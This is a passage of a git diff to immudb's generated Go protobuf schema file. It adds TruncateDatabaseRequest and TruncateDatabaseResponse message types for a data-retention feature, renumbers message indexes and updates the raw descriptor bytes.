[TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) | [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index a0b8245e4e..67e58c30d0 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -8241,6 +8241,111 @@ func (x *RetryInfo) GetRetryDelay() int32 { return 0 } +type TruncateDatabaseRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Database name + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` + // Retention Period of data + RetentionPeriod *NullableMilliseconds `protobuf:"bytes,2,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` +} + +func (x *TruncateDatabaseRequest) Reset() { + *x = TruncateDatabaseRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[118] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *TruncateDatabaseRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TruncateDatabaseRequest) ProtoMessage() {} + +func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[118] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. +func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{118} +} + +func (x *TruncateDatabaseRequest) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *TruncateDatabaseRequest) GetRetentionPeriod() *NullableMilliseconds { + if x != nil { + return x.RetentionPeriod + } + return nil +} + +type TruncateDatabaseResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Database name + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` +} + +func (x *TruncateDatabaseResponse) Reset() { + *x = TruncateDatabaseResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[119] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *TruncateDatabaseResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TruncateDatabaseResponse) ProtoMessage() {} + +func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[119] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. +func (*TruncateDatabaseResponse) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{119} +} + +func (x *TruncateDatabaseResponse) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + // Only succeed if given key exists type Precondition_KeyMustExistPrecondition struct { state protoimpl.MessageState @@ -8254,7 +8359,7 @@ type Precondition_KeyMustExistPrecondition struct { func (x *Precondition_KeyMustExistPrecondition) Reset() { *x = Precondition_KeyMustExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8267,7 +8372,7 @@ func (x *Precondition_KeyMustExistPrecondition) String() string { func (*Precondition_KeyMustExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8303,7 +8408,7 @@ type Precondition_KeyMustNotExistPrecondition struct { func (x *Precondition_KeyMustNotExistPrecondition) Reset() { *x = Precondition_KeyMustNotExistPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8316,7 +8421,7 @@ func (x *Precondition_KeyMustNotExistPrecondition) String() string { func (*Precondition_KeyMustNotExistPrecondition) ProtoMessage() {} func (x *Precondition_KeyMustNotExistPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8354,7 +8459,7 @@ type Precondition_KeyNotModifiedAfterTXPrecondition struct { func (x *Precondition_KeyNotModifiedAfterTXPrecondition) Reset() { *x = Precondition_KeyNotModifiedAfterTXPrecondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8367,7 +8472,7 @@ func (x *Precondition_KeyNotModifiedAfterTXPrecondition) String() string { func (*Precondition_KeyNotModifiedAfterTXPrecondition) ProtoMessage() {} func (x *Precondition_KeyNotModifiedAfterTXPrecondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9555,450 +9660,469 @@ var file_schema_proto_rawDesc = []byte{ 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, - 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, - 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, - 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, - 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, - 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, - 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, - 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, - 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, - 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, - 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, - 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, - 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, - 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, - 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, + 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, + 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, + 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, + 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, + 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, + 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, + 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, + 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, + 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, + 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, + 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, + 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, + 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, + 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, + 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, + 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, + 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, - 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, - 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, + 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, + 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, + 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 